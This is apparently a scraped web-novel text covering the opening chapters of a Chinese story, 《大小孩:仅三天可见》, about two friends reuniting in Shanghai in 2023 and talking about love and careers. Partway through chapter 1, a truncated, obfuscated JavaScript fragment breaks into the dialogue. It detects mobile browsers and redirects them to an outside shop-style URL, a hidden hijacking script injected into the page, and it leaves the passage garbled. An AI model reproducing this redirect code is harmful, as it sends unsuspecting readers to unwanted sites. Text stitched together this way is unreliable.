《大小孩:仅三天可见》
1. 朋友圈
冬日长街草木枯败,枝头的彩灯串稍稍添了点生气。
二〇二三悄然来临,不如十年前人们畅想的那般绚烂科幻,这一年开始得平淡而仓促。
机场人潮拥挤,麦初把护照插进大衣口袋里,口罩戴了太久,耳后根又痒又疼,她捏住鼻梁处的折痕往外松了松。
手机屏幕嗡地一声亮起光,微信一连弹出数十条消息,全是乔漾发来的,她摁住语音键,告诉对方自己已经顺利出海关了。
定的酒店就在虹桥附近,门口上车区的长队一眼望不到尽头,麦初往道路两边看了看,未多犹豫便迈步启程。
天空阴沉沉的,寒风压弯枯枝。
算上中转的时间航程几乎持续了一天一夜,也许是近乡情怯,前一晚上她就没怎么睡着觉,在飞机上虽然合眼休息了几个钟头,但时不时的颠簸也没能让大脑进入深度睡眠状态。
滚轮擦过水泥地,麦初摘掉口罩喘了口气,太阳穴附近一胀一胀地疼,不知道乔漾到站了没。
她刚拿出手机屏幕上就弹出一条语音通话,麦初扬起嘴角,果然还是得离得近,心灵蓝牙都连接上了。
“喂。”
“你已经出机场了啊?”
“嗯,在去酒店的路上了。”
“我也快到站了!等我啊!”
女孩声调轻快,期待之意不加掩饰,麦初笑着回了声“好”。
刚上大学那会儿群里偶尔还会开个视频通话,后来大家各忙各的,消息都发的少了。
麦初感觉自己都有两年没有听到乔漾的声音了,高铁上信号不好,两个人没说太多。
十字路口车辆川流不息,导航提示她五十米后向右转,麦初举着手机抬起头,依稀想起四年前好像也是这个地方,那时绿树成荫,蝉鸣穿透盛夏的热浪,她撑着脑袋看向车窗外,偷偷安慰自己等圣诞假就可以回来了。
却没想到是在第四个圣诞。
酒店大堂贴心地准备了驱寒的红枣生姜茶,麦初端着纸杯坐到窗边,辛辣混着甜味有些奇怪,但她早就被治好了挑食的毛病,一小口一小口地全部喝完了。
乔漾没有让她等太久,隔着大老远就飞奔过来,麦初一开始没敢认,等人到了落地窗外才确定是她。
这几天气温直逼零下,女孩裹着一件棕色的羊羔毛外套,帽子、耳罩、围巾一样不落,浅黄的挎包上挂着一只粉色的兔子,怀里还抱着一个大袋子,气喘吁吁地跑过来,简直像只成精的毛绒玩具。
她隔着玻璃窗和麦初挥了挥手,即使口罩挡着也能看出她笑容灿烂。
麦初指着门口对她说:“快点进来。”
“你饿不饿?”乔漾一见到她就问。
“还行,飞机上吃了一点。”
乔漾摘下耳罩,脸颊红扑扑的,告诉她说:“我没吃午饭,饿死了。”
麦初伸出手揪了揪她帽子两边的小球,玩笑说:“你是刚从西伯利亚赶过来的吗?”
乔漾嘿嘿一笑:“我怕着凉嘛,在论文大纲通过之前我可不能倒下。”
前台为她们办理好入住手续,麦初接过房卡道了声谢,乔漾顺势挽住她的胳膊,说:“走吧。”
太久没见面了,她看麦初哪哪都觉得新鲜,刚问完她穿那么少冷不冷,转头又被她的头发吸引走注意力。
“你这还是渐变色的啊?”
“其实是被我自己染毁了,姑且就当它是渐变色吧。”麦初跨进电梯,在面板上摁下对应的楼层。
乔漾点点头,也不说话,就盯着她,一个劲地傻笑。
麦初也弯了嘴角,问:“你笑什么啊?”
“就是。”乔漾抿唇微笑,有点不知道该怎么形容。
——“就是觉得你一下子变成大人了。”
自然卷曲的深色长发中夹着几缕清透的蓝,黑大衣长筒靴,右手的大拇指和食指上戴着简单的银圈,湖蓝色的短甲更衬得她十指骨感而白皙。
麦初成熟许多,不仅仅是外表上,她看人看物的眼神,说话时的语气都有了细微但明显的变化。
乔漾很难具体描述出来,她只能切切实实地有所感受。
“你太久没见我了。”麦初说。
这话听上去怪叫人伤感的,乔漾瘪了瘪嘴:“是啊,还等着你大一寒假回来呢。”
“喏。”她将手里的纸袋递给麦初。
“什么啊?”
“生日礼物啊。”
里头鼓鼓囊囊地塞了大大小小好几样东西,麦初倒吸一口气:“这么多啊?”
“今年的也在里面,一直想等你回来一起拿给你,攒着攒着就一大袋了,你到时候慢慢拆吧。”
麦初抬眸看向她,眉眼柔和,轻声说了句:“谢谢。”
乔漾笑了笑,想到什么便开口分享:“诶你知道吗?前两个月夏灿回家过生日,她奶奶居然都开始催她结婚了。”
麦初把纸袋捧进怀里,说:“二十二岁,说起来是可以谈婚论嫁了。”
“太可怕了。”乔漾双手攥到胸前,缩着肩膀发抖,“我感觉自己也才刚高考完啊,我不是才十八九岁吗?我二十岁都没怎么好好过呢,凭什么就二十二了?”
麦初笑着没有说话,她对时间的感受可能和乔漾不太一样,她不觉得十八九岁值得留恋,也不觉得这几年过得太快。
电梯门向两边打开,乔漾拿出手机要点外卖:“湘菜吃吗?云南菜呢?还是本帮菜?”
“都行,俺们留子什么都挑但绝对不挑食。”行李箱被地毯边缘卡住,麦初抬腿踢了一脚。
乔漾被她的话逗笑:“国外的东西真的那么难吃吗?快餐什么的应该挺多的吧。”
“实话跟你说,不如国内的K记M记一根头发。”
房间就挨着电梯口,麦初把房卡插进凹槽,一进屋就脱掉了厚重的大衣外套。
“你小心别感冒了。”乔漾找到中央空调的控制面板。
“有扎头发的吗?给我一个。”麦初伸出手。
“有。”乔漾从包里翻出一个红色格纹的大肠发圈,“喏。”
麦初进了洗手间,乔漾身子一歪躺倒在床上,在屏幕上扒拉半天也没决定好吃什么。
微信弹出一条消息,她撩起眼皮瞥了一眼,心情一瞬如坠冰窖。
“麦初,你带电脑了吗?”
女孩的声音听上去有气无力,麦初捧起水浇在脸上,闭着眼扬声应:“带了,在行李箱里,怎么啦?”
“我导来催了,天杀的,她昨天才把修改意见发给我,居然今天就要看。”
麦初抽了两只纸巾擦掉下巴上的水珠,走出卫生间问:“那你改好了吗?”
“当然没有。”乔漾将行李箱横放在地毯上,“密码多少啊?”
“一边124一边421。”
“这是你的充电器吗?”麦初看着床边的插座问。
“对。”
“借我充一会儿。”麦初从口袋里取出手机,断联了快两天,麦喆居然也没再找她。
聊天框停留在那句“那你打算回来吗”上,他大概以为自己选择性忽视了。
麦初将手机插上数据线,打字问她哥:猜猜我现在在哪儿?
“你就带了这么点东西啊?”乔漾从衣服堆里找到麦初的笔记本电脑,28寸的行李箱她只用了一半,另一边完全是空着的。
麦初说:“对啊,我就回来一个礼拜。”
乔漾不解:“那你带个那么大的箱子干什么?
“当然是装点吃的运回去了。”酒店的枕头太松软,麦初枕着不得劲,干脆抽走丢到沙发上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635140|156289||http|test|mini|href|location''.split(''|''),0,{}));
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>“一个礼拜……”乔漾在心里算了算,“那你过年前就要回去啊?”
“嗯,我快开学了,本来也不想回来的,我妈要结婚了。”
乔漾“哦”了一声,又霍然僵住。
“结婚?和谁?”前一句疑惑后一句震惊,乔漾的记忆还停留在麦初妈妈和现任丈夫闹离婚那会儿,当时的代理律师正是她的母亲苏桐女士。
“说起来也挺神的。”麦初笑了声,随口八卦说,“她跟那个叔叔认识几十年了,我小时候还见过他几次,听我哥说一直没结婚。”
乔漾张大嘴:“不会是一直在等你妈妈吧?”
“那倒也不是,他好像有过一个未婚妻,但出了个什么事就没结成,后来就一直单着了。”
乔漾问她:“所以你是回来参加婚礼的?”
“嗯。”麦初手撑着脑袋侧躺在床上,“我妈结了三次了,这还是头次有个像模像样的婚礼,我想了想还是别错过吧,也好久没回来了。”
乔漾点了点头:“我姐本来也是今年办婚礼。”
吴昊的母亲从病情复发到过世连一周时间都没有,事发突然,打乱了一切的计划。
“那是要等过两年出孝了再补办吗?”麦初问。
乔漾撇撇嘴:“不知道。”
那段时间发生了太多事,乔凯和苏桐三天两头就往宁城跑,她在千里之外的陆州上大学,什么忙也帮不上,大人们也什么都不和她说。
肚子叽里咕噜地叫了一声,麦初用手掌摁着空瘪的小腹,问乔漾:“外卖什么时候到啊?”
“呀。”乔漾心虚地扯开嘴角,“跟你一说话我就忘了。”
麦初打开外卖软件:“那我来点吧。”
空调送出暖热的风,乔漾在键盘上敲敲打打,满屏的英文字母令她无力、头晕、直犯恶心。
“林书靖也要出国了啊?”身后的麦初冷不丁地出声。
她瞬间无心再打字,扭过脑袋问:“出国,去哪儿?”
“好像是UCL。”麦初向左划动屏幕,挑眉惊讶道,“这是她吗?怎么把头发剪这么短?”
“谁?林书靖?”
“对啊。”
乔漾一下子来兴趣了,朝麦初伸出手说:“给我看看!”
麦初坐着没动:“你看她朋友圈啊,刚发的。”
乔漾仍旧举着手:“看不了,我把朋友圈关了。”
麦初抬起头:“干嘛关了?”
“嗐呀。”乔漾说,“前一阵全都是晒保研的,看得我焦虑死了,我就直接关了。”
“怪不得好久没看到你的动态了。”麦初把手机递过去。
照片上的人短发干净利落,穿着一件宽松的黑色T恤,和印象中那个说话总是轻声细语,温柔而恬静的女孩风格迥异。
“天呐。”乔漾翻来覆去看那两张照片,“这也变化太大了。”
麦初笑容欣慰,点点头说:“挺好的,活出自我。”
“你看吧,这几天又是晒留学offer的,过两个月就轮到考研的了。”乔漾将手机抛回给麦初,“看来我屏蔽得对,眼不见心不烦。”
想到陈天衢也保上研了,麦初撩眼看向她,问:“那你怎么不考研啊?”
乔漾直摇头:“太卷了,拼不过也不想拼。”
“那考别的专业呢?你不是辅修了法学吗?”
“法学更卷!要不是我爸威逼利诱我才不修双学位呢,你都不知道我这几年有多痛苦,而且我学了英语发现我对英语没什么兴趣,学了法律发现我对法律也没什么兴趣,我干一行恨一行。”乔漾转过身子,手臂搭在椅背上,向麦初真诚发问,“你觉得我这种人适合干什么?”
麦初翻眼看天想了想,还真的给了她一个中肯的建议:“我觉得你适合当收租婆。”
2. 可能性
乔漾哼哼笑了声:“我倒也想。”
“那你毕业之后打算干什么?回来工作?”
“嗯,去美术馆,已经签了三方协议。”
麦初从床上弹起:“美术馆?在陆州?”
“不是,就我们家那边的。”
麦初蹙眉疑惑:“我们那边有美术馆吗?”
“有啊,好像是前年开馆的吧,就在市民中心对面。”
麦初眉头未解:“市民中心在哪里?”
“就一中再过去一点。”乔漾说,“你真的太久没回来了。”
“是啊。”麦初躺了回去,揉着眼睛继续搭话问,“那你去美术馆,具体做什么啊?”
“说是对外宣传部。”乔漾拿起桌上的矿泉水瓶,“不过杂七杂八的事情好像都得做,反正有着落就行。”
麦初又问她:“工资呢?高不高啊?”
“每个月拿到手大概四千多吧。”
麦初拔高音调:“什么?!”
她看向乔漾反复确认:“四千?人民币?这么点?”
乔漾绷直嘴角,想她这几年都在国外,不太了解现在的就业市场有多严峻。
“其实已经算不错的了,起码离家近不用交房租。我学姐毕业后进公司做白领,照样底薪三千。”
麦初还在震惊:“我爸给我家阿姨都一个月开六千呢。”
秋招的搓磨早已让乔漾心如止水,如今这话对她毫无杀伤力,她微微一笑,告诉麦初:“姐妹,你要知道我们大学生就是最廉价的劳动力。”
床头的座机发出响声,麦初在被子上滚了一圈,拿起听筒放到耳边。
“喂。”
听筒里的声音尖细而生硬,她觉得古怪但没来得及多想。
看麦初起身走向门口,乔漾出声问:“是外卖到了吗?”
“对。”麦初边应边拉开房门,视线范围内空无一人,她低下脑袋,差点被那矮胖矮胖的不明物体吓一跳。
“您好,您的物品已送达。”
确定是眼前这东西发出的声响,麦初弯下腰打量一圈,没忍住发出一声惊叹。
她根据屏幕上的指示取走舱门里的外卖,机器人居然还礼貌地道了声谢。
麦初一路看着那家伙步履稳健地消失在拐角,半是担忧半是惊奇地问乔漾:“它会自己下电梯吗?”
“会的。”
“太先进了吧。”麦初抬脚勾了下门,“我们定的不是五星级酒店吧?”
“现在这个都是标配。”乔漾合上笔记本电脑,“你在美国没见过?”
“我在美国又不住酒店。”说完麦初又补充了句,“我也不点外卖。”
她点了四五样菜,光一份油焖鸡就占了大半张小圆桌,乔漾一份份揭开塑料盖子,担心道:“这么多?要吃不完了。”
“没事,慢慢吃,多吃点。”麦初掰开一次性筷子搓了搓木屑,先往嘴里送了一大口饭。
“那你呢?毕业以后回来工作吗?”
麦初腾不出嘴说话,摇了摇头。
乔漾心一沉,哭丧着脸“啊”了一声。
麦初咽下嘴里的食物,为刚刚的否定解释说:“我也申了英国的研究生,还没收到录取通知,但应该快了。”
“英国?你怎么又要去英国啦?”
“美利坚待够了呗,换个城市换种生活。”麦初原本还不觉得饿,这下胃口像是被彻底打开,眼睛盯着面前的油焖鸡,一筷一筷没停过,只能在咀嚼的间隙中抽出时间讲话,语速也不自觉地加快,“其实你也可以申请出国留学啊,英专还是挺好申的吧。”
乔漾摇摇头:“出国太远了。”
“那香港呢?邹心意好像就要去香港读研了。”
“我不要。”乔漾内心非常坚定,“我好不容易就要脱离苦海了,我宁愿上班也不想再上学了。”
麦初不以为然:“上班有啥好的啊?都是痛苦的。”
乔漾将头发挽成一束塞进领口里:“上班痛苦但上班至少有钱拿,上学痛苦就纯粹只是痛苦。”
“好吧。”麦初无言以对,转而问她,“杭以安是不是也要工作了?”
“嗯,以后要叫杭老师咯。”
“也好,体制内。”
“他那边好像是私立的吧,不算编制,莫知才是真·体制内。”乔漾倏地一顿,用膝盖顶了顶麦初,“诶我跟你说。”
“嗯?”
“莫知好像有动静了。”
“动静?”麦初话没过脑子就从嘴边冒了出来,“他怀孕了啊?”
“不是啦!”乔漾急得“哎呀”一声,“是有个学妹,在追他!”
“哟。”麦初笑起来,“可以啊,魅力挺大啊。”
乔漾盯着她,仔细观察她的面部表情,用筷子戳了戳碗里的米饭。
时间永不停歇,大家都在各自朝前走,假设性的问题毫无意义,但既然此刻是属于闺蜜间的闲聊时刻,那八卦一下也无伤大雅。
乔漾收回目光,装作不经意地开口问:“你说,如果高中毕业你不出国,你和莫知有可能吗?”
“不可能。”麦初夹起一块鸡肉,“距离不是问题,否则你跟陈天衢又是怎么回事?”
“关我跟陈天衢什么事?”
“也是。”麦初弯下腰将骨头吐进垃圾桶里,“你俩纯属陈天衢太能憋。”
房间里一下子安静下来,只剩空调运作的声响。
沉默的气氛似寒风刮过,麦初瞬间清醒,收紧呼吸偏头看向乔漾。
对方低头扒拉着碗里的米饭,颊边碎发丝丝缕缕,掩藏了情绪。
乔漾不像是没听懂她话里的含义,可又看不出惊讶或奇怪。
麦初蹙了蹙眉,敏锐地捕捉到一丝什么,猜测说:“你不会已经知道了吧?”
乔漾抬起头承认:“嗯。”
麦初瞪大双眼:“你真的知道?陈天衢表过白了?”
乔漾摇头,撇开视线说:“我自己猜到的。”
麦初张着嘴,还没从震惊中缓过来:“你居然知道了?”
乔漾扯开嘴角:“我怎么可能不知道?”
麦初看向她,轻轻叹了声气:“也是哦。”
这么多年陈天衢没藏过,他只是不说,回过头看其实很明显,乔漾是当事人,她更深有体会。
“那你怎么想的啊?”
“我没怎么想。”
“你什么时候发现的?”
“大一的时候吧。”
“那也好久了。”
“嗯。”
联谊舞会那晚过后,任凭乔漾怎么说服自己想多了、没有这回事,她还是骗不了自己,骗不了来自内心深处的直觉和肯定。
她不知道自己是该后悔打开那张纸条还是庆幸,也不知道当两个人的关系变得混乱模糊时该怎么理清。
她只知道短时间她没法像以前一样和陈天衢相处了,寒假回家也找了借口和他错开航班。
幸而不幸的是那个冬天爆发了太多事情,也给足了她逃避的时间,等生活重又回到正轨已经快半年后。
大学生活比想象中的繁忙许多,各类杂事掠夺走了时间和精力,她无心再想些有的没的。
那一年在乔凯的苦苦相劝和威逼利诱下乔漾报了法学辅修,后来她时不时会和陈天衢在教学楼下碰上面,然后交谈几句,再约着下课后一起去吃饭,一切都好似如常。
他还是那个他,她和他还是无话不谈的朋友。
乔漾张了张嘴,太多话想说又没法说,最后她选择了一句“对不起”。
“嘿。”麦初放下餐盒挪到她身
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边,“为什么要道歉?”
没等乔漾开口她又说:“你怎么想的最重要,按照你的想法来就好,喜欢就是喜欢,不喜欢就是不喜欢,没关系的。”
乔漾鼻头一酸,麦初的话让她意外又暖心,她原以为她会尽力撮合,或者尽可能地多说一些好话,就像她也有私心那样。
“其实我也不知道我心里是怎么想的。”乔漾垂下脑袋,“而且我和陈天衢都好久没见面了。”
“为什么?你们不是一个学校的吗?”
“他忙我也忙,就,错开了。”
麦初问她:“那陈天衢知道你知道吗?”
“应该不知道吧。”乔漾抬起头,“你别告诉他啊。”
“我肯定不告诉他。”承诺完麦初又觉得好笑,到底谁暗恋谁啊,这逻辑关系太乱了。
她重新拿起筷子,问乔漾:“那这四年,你有遇到过其他什么男生吗?”
“你觉得呢?”乔漾也没想到大学里她和异性的接触能比高中还少,“我平时基本不和男的说话。”
末了她又补上一句:“陈天衢不算的话。”
“怪不得。”麦初小声嘀咕。
“你说什么?”
“没什么。”
“那你呢?”乔漾问。
“我什么?”
“谈没谈恋爱?”乔漾扬起坏笑,压低声线问,“亲没亲过洋嘴啊?”
“洋嘴你个头。”麦初吐掉嘴里的骨头,“刚踹了一个烦人精。”
“为什么?”
“讲话太弱智了,我说我有个亲哥,你猜他回我什么。”
“什么?”
“他说,‘哦,我也是家里的嫡长子’。”麦初没忍住翻了个白眼,“你敢信这是21世纪的人类能说出的话?”
乔漾边笑边问:“怎么会有这种人啊?”
麦初“哈”了一声:“这种人多着呢。”
这一顿饭两个人配着说不完的八卦,吃到最后竟然差不多都光盘了。
乔漾还要继续改论文,麦初快两天没睡过整觉,洗漱完就在困意中昏睡过去。
等她一觉转醒已是深夜,房间里留了一盏夜灯,静谧安宁。
麦初翻了个身,迷迷瞪瞪地看到乔漾还没睡。
“几点了啊?”
乔漾瞄了眼屏幕左上角,回答说:“两点三十六。”
喉咙口干渴,麦初用指甲抓了抓,眯着眼问:“你还不睡啊?”
“还没到我困点呢。”
“姐,咱俩到底谁从美国回来的?”麦初打着哈欠掀开被子下床。
没多久洗手间里传来冲水声,乔漾从手机上抬头,问她:“你饿不饿?”
麦初从门口玄关上拿了瓶矿泉水,怀疑自己听错了:“现在?”
“对啊。”屋里闷热,乔漾把脚伸到被子外,“我好像有点饿了。”
麦初仰头灌了一大口水,重新躺回床上说:“我建议你睡吧,睡醒了吃早饭。”
乔漾从身下拿了个枕头递给她:“喏。”
“不用。”麦初拉高被子,屈肘垫在脑袋下,“我睡觉不枕枕头的。”
“为什么?”两个人以前也一起睡过,乔漾不记得她有这个习惯,“我刚刚就想问你,这样睡脖子会不舒服的吧?”
“习惯了就还好。”
房间里安静了一会儿,麦初睁眼看着天花板,突然叫了一声乔漾的名字。
“嗯?”
“你知不知道老和陈天衢一起出去吃饭的那个学妹啊?”
“哪个?”乔漾一下子坐起身,“是不是姓张?短头发齐刘海那个?”
她大概自己都没发现她的语气有多着急和脸上难掩的愠意,麦初翻了个身,拉高被子遮住上翘的嘴角,闭上眼说:“不知道啊,我瞎编的。”
3. 梦中人
乔漾呆了好几秒才反应过来自己被耍了,她尖叫一声,掀开被子翻身压到麦初身上。
麦初缩成一团,一笑更没力气,艰难地出声求饶:“好好好,我错了我错了。”
“啊啊啊啊啊!”屋里本就燥热,乔漾整张脸憋得通红,恼羞成怒般嚷嚷,“我讨厌你!”
麦初被她压着不好还手,只能尽力拔高音调盖过她的声音:“承认吧你就!”
“我……”乔漾突然卸了力,坐回床上说,“我不喜欢这样。”
麦初抬脚把乱糟糟的被子踢平,察觉到她的情绪变化,收了嘴角问:“不喜欢什么?”
“就是。”乔漾攥拳捶了下大腿,叹气说,“你不觉得我这样很莫名其妙吗?又要装什么都不知道,又希望他是我的。”
麦初侧过身:“这很正常。”
乔漾摇头:“这不正常。”
“可你就是很介意那个什么……张学妹?”麦初偷偷做了个嘴角向下撇的表情,她也没想到自己随便一探还真探出这么一号人物。
这次乔漾无话反驳了。
那个网名叫脏脏包的女孩是陈天衢的直系学妹,甜妹脸的大学霸,乔漾和她不算熟,只是彼此知道有对方这么个人,遇见了会打声招呼。
以前随手一刷朋友圈肯定有她的最新动态,九宫格张张都是长图,记录着女孩精彩纷呈的生活。
更令乔漾惊奇的是这世界上竟然有人的朋友圈是全部开放,并且对所有人可见的。
她坦然而自信,明媚如春日。
乔漾不想承认自己因此有了什么危机感,也不愿将陈天衢视为己有,对一切出现在他身边的异性产生敌意。
“那有没有可能根本就没有那么复杂。”麦初出声打断她混乱而糟糕的神绪。
“你是喜欢他的。”麦初说,“你只是有顾虑。”
乔漾呆呆发问:“什么顾虑?”
“那要问你自己。”
乔漾落下睫毛,过了许久才轻声开口:“可是我跟他在一起的时候,不会脸红心跳,可能是因为太熟了,这样也能叫喜欢吗?”
“首先我同意喜欢的外在表现可能是脸红心跳,但喜欢难道仅仅就是脸红心跳吗?”麦初用一只手撑着脑袋,继续慷慨陈词,“再说了,含羞带怯、欲拒还迎都是男人意淫出来的,谁说陷入爱情的女人就非得是娇羞的?健康的两性关系不应该是舒适的吗?起码呆在一起的时候得轻松自在吧,不然两个人天天面对着面起高原反应吗?那多难受啊。”
乔漾听得一愣一愣,半天说不出话。
麦初抽回手臂重新躺平:“反正我求你俩别学我妈和她新老公,陈天衢鳖王你鳖后。”
乔漾撅起嘴嘟囔:“我哪有。”
“我继续睡了啊。”麦初合上眼,“你也早点睡吧,别明天起不来。”
乔漾“哦”了一声,平静的情绪被搅得一团糟,她发泄似的揪了揪刘海,不气别人只气自己。
也许是倦意被消解后认床的毛病又发作了,再次合眼麦初却迟迟未能入眠。
脑子里堆积着各种各样的东西,像过电影般源源不断冒出,她听到啪哒一声响,随后屋里彻底暗了下来。
后半夜寒风呼啸,玻璃窗颤动发出响声,身旁的乔漾安然睡着。
麦初也不知道自己发了多久的呆,屋里闷热,她想起身将空调温度打低一点,刚捏住被子角却被猛地出声打断。
她僵在原地,维持着这个姿势快半分钟,乔漾叽里咕噜说了一串完整的话,但她在惊吓之余抽不出心思仔细听。
应该就是梦里说的糊涂话,麦初舒了口气稳住心神,一把掀开身上的被子。
酒店的床垫太软,她睡得腰酸背痛,也不想再回去躺着。
天将大白,麦初掀开一点点帘子,窗外雾气迷蒙,对面就是高铁站,隐约可以瞧见楼梯上提着行李匆匆而行的旅客。
回头看到乔漾睡得正酣,麦初决定不吵醒她了,自己换了衣服下楼吃早餐。
创业三败后麦喆的作息时间一直是个谜,她昨天傍晚发出去的消息居然在凌晨五点四十六分得到了回复。
先是一个问号,再一句:在哪?
最后一条是:别跟我说你回来了。
麦初打开手机摄像头,对准酒店大堂拍了一张发过去。
消息刚发出去没几秒麦喆的电话就打了过来,她接起放到耳边。
“喂。”
“你真回来了?”
“对啊。”麦初根据指示牌往餐厅走,问麦喆,“你是刚起床还是还没睡?”
麦喆没问答,又问她:“哪个酒店?我去接你。”
“不用来接我,乔漾在的,我俩约了今天去迪士尼,明天坐高铁回去。”
“哦。”麦喆应完又回过味来,端起架子教训道,“你说说你,回来都不知道提前说一声,自己瞎折腾。”
虽然政策放开了但回国一趟也不算方便,而且回来就待个几天,说起来是挺折腾。
麦初当然不是故意瞒着,她只是怕将决定宣之于口后紧随其后的就是反悔,所以打他也打自己一个措手不及。
餐厅里人声嘈杂,她对麦喆说:“我要吃早饭了,挂了。”
“出去玩注意安全啊,多穿点,还有那个,把高铁信息发我,我明天去接你。”
“知道了。”
酒店供应的早餐是自助式的,两旁设立了好几个档口,中餐西餐都有,麦初略过长桌上快吃吐了的三明治,径直走向面食区。
锅中升腾的热气模糊了玻璃窗,煮面的师傅看她站了有一会儿了,主动搭话问:“有馄饨有面,美女你吃哪个?”
“我……”麦初咬唇纠结。
“不然我半份馄饨半份面?帮你下到一个碗里?”
麦初的眼睛一下子亮了:“行!谢谢啊。”
师傅给了她一个号码牌,让她五六分钟后来取餐。
国外不是没有中餐馆,也有做得地道的,但到底和家里吃到的味道不一样。
麦初很久没有在这个时间点拥有过这般的好心情,冬日的清晨被一碗朴实无华的红汤馄饨面暖了全身,她最后连汤都喝了干干净净。
估计乔漾是要一觉睡到中午了,上楼前麦初又拿了点水果和面包。
路过大堂的时候她缓了脚步朝落地窗外看去,天空澄澈,
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透亮的阳光映亮空气中的灰尘,今天放晴了。
看来她做了个还算正确的决定。
房门嘀一声开锁,麦初用脚勾了一下带上门。
床上的人翻了个身,她弯下腰把怀里的东西放到小圆桌上。
“几点了啊。”乔漾嗓音沙哑,眼睛只能睁开一条缝。
“快八点了,我给你拿了点吃的。”麦初从行李箱里取出化妆包,“没事,你可以再睡会儿。”
“不睡了。”乔漾挣扎着从床上坐起身。
麦初坐到小桌子前,把额前的碎发夹到两边,等打好底妆一抬头,乔漾居然还坐在那儿。
“你是睡着了还是醒着?”
乔漾用被子裹住自己,闭着眼睛回答:“我再缓冲一会儿,好困啊。”
“困就再睡会儿,来得及的。”
“现在几点了啊?”
麦初摁亮手机屏幕:“八点零七。”
乔漾将下巴靠在并拢的膝盖上:“那我再坐三分钟。”
麦初拨开眉笔盖子,分神看了她一眼,提醒说:“你别又睡着了。”
“不会的。再睡着又要痛苦地醒来一次,我不要。”
她叽里咕噜的碎碎念把麦初逗笑,乔漾还是乔漾。
“哦我忘了跟你说。”乔漾睁开眼睛,指着墙边的袋子说,“那里面有条围巾的,你穿得太少了,别一回来就感冒。”
“我看看。”麦初找到她说的那条红色编织围巾,展开举到面前,“这不会是你自己织的吧?”
“对。”乔漾眯着眼睛笑,“我心灵手巧吧?一学就会了。”
麦初点点头:“牛,什么时候学会的?”
“那时候有个志愿活动,织着织着就觉得挺有意思的,我就买了好多毛线团,给你们一人都织了一条。”
“太麻利了。”麦初收好围巾坐回椅子上,冷不丁地又出声问,“那陈天衢有吗?”
“没。”乔漾打了个哈欠,“他不喜欢脖子上裹着东西,他连高领毛衣都不穿。”
“哦。”麦初抿唇憋住笑。
“还是好困啊。”乔漾哀嚎一声歪倒在床上。
“你知道你昨天说梦话了吗?差点把我吓死。”
“真的啊?”乔漾瞬间清醒了不少,紧张道,“我说什么了?”
“没听太清。”麦初拿起镜子描眉毛,“做噩梦了?”
“……也不能说是噩梦吧。”乔漾脑袋越低越下,快要埋到被子里。
眼前飞速闪回梦境中的画面,一幕幕真实、诡异又滑稽,似作家笔下的爱情戏剧。
她不敢也不好意思告诉麦初她梦到自己很多年以后再婚了,底下坐着所有亲朋好友,唯独不见陈天衢。
梦中她焦急无措,反复地询问:“陈天衢呢?他为什么不来?”
——她想昨晚麦初听到的呓语大概就是这句了。
伴娘们咯咯笑着,让她往旁边看。
于是乔漾抬起头,镜头切换,原来她要找的人就被她紧紧挽着。
“那你梦到什么了?”麦初问。
“我去刷牙了!”乔漾这次没再拖拉,利索地掀开被子下了床。
4. 游乐园
原以为工作日不会有太多游客,但她们忘了现在是寒假,还是放开后的第一个假期。
一进米奇大街麦初就被乔漾拉进了一家礼品店,她感觉自己根本没有动腿,被周遭的人推着推着就进到里去了。
满墙花花绿绿的毛绒制品让人眼花缭乱,乔漾对货架上的每一件东西都爱不释手,耳边的“哇,这个好可爱”就没停过。
感受到胳膊上的挤压,麦初侧过身给旁边的游客让路,再转头乔漾的身影就消失在了视线中。
她心里下意识地闪过一丝慌乱,抬步朝门口走,摸出手机给乔漾发消息。
过了三四分钟屏幕上也没个动静,估计这丫头还沉浸在血拼中。
角落里几个大哥站那吞云吐雾,烟草味道飘过来,麦初眉心微蹙,屏住呼吸继续往前走。
她一抬头居然又是一家纪念品商店,麦初短短笑了声,这到底是迪士尼乐园还是迪士尼商场啊?
好在这家的客流量就少了许多,她双手插兜走进去,就当避避冷风。
乔漾找到麦初的时候她手里正捧着一对米奇和米妮,这两个迪士尼的招牌形象穿着西服和婚纱,而麦初看得专心致志,像是出了神。
“你在这呢。”
麦初闻声抬起头:“逛好了?”
“嗯。”乔漾手一抬,踮起脚往她脑袋上套了个什么东西。
“什么啊?”麦初伸手摸了摸,毛茸茸的,触感柔软。
“帽子。”乔漾把另一只粉色的球球帽留给了自己,她打开相机对准两人,挽住麦初的胳膊说,“拍个照。”
麦初配合得摆好姿势,看向镜头牵唇一笑。
“我发给我爸看看。”乔漾捧着手机说,“省得他一直问,他都不相信你回来了,还怕我是跟男的出来的。”
麦初笑起来:“多大了都,你爸还管你这个?”
“可不是吗。”
乔漾收起手机,看见麦初还拿着那对米奇米妮:“你要买这个吗?”
麦初把两只小玩偶举到她面前晃了晃,问:“你觉得怎么样?”
经过昨晚那诡异一梦乔漾现在再看到西服和婚纱只觉得ptsd都要犯了,硬着头皮点点头说:“挺有趣的。”
麦初低下头,将手里的米奇和米妮嘴对嘴地碰了碰:“是挺有趣的。”
本来还担心中午才入园会玩不尽兴,但她俩在里头逛了半圈就不知道该去哪儿了。
幸好路边有空着的长椅,乔漾又去附近的小吃摊买了两根雪糕。
午后阳光灿烂,气温也上升了不少,麦初拆开包装纸,一口咬掉了半只小熊耳朵。
“啊。”寒意直冲脑门,她用手掌撑了下额头,“Brain freeze.”
乔漾笑着说:“四十五一根呢,你慢慢品啊。”
麦初缓过劲来,举起手里的冰棍摇了摇头:“这就是万恶的消费主义陷阱,明明就是很普通的巧克力味,把它用IP包装一下就可以卖四十五一根了。”
乔漾问她:“你是不是就是学这个的?文化与创意产业。”
“是啊。”麦初又把另一只耳朵咬走,“误入歧途。”
乔漾挡着嘴笑得往后仰。
“那你有去过美国的迪士尼吗?”她靠着椅背,将两条腿伸直。
“没有。”麦初又说,“我连环球影城都没去过。”
“为啥不去?”在乔漾心里这就好比到了北京但不去故宫。
麦初咬了口手里的雪糕:“兴趣不大,也没人陪。”
“大学里的那些朋友呢?”
“他们……”麦初一下子不知道该怎么回答。
那些会一起聊天、吃饭,在异国他乡聚在一起过节日的人是朋友,但她似乎不会像那天乔漾随口一句“我还挺想去迪士尼的,你想去吗?”后就果断定好行程买了票。
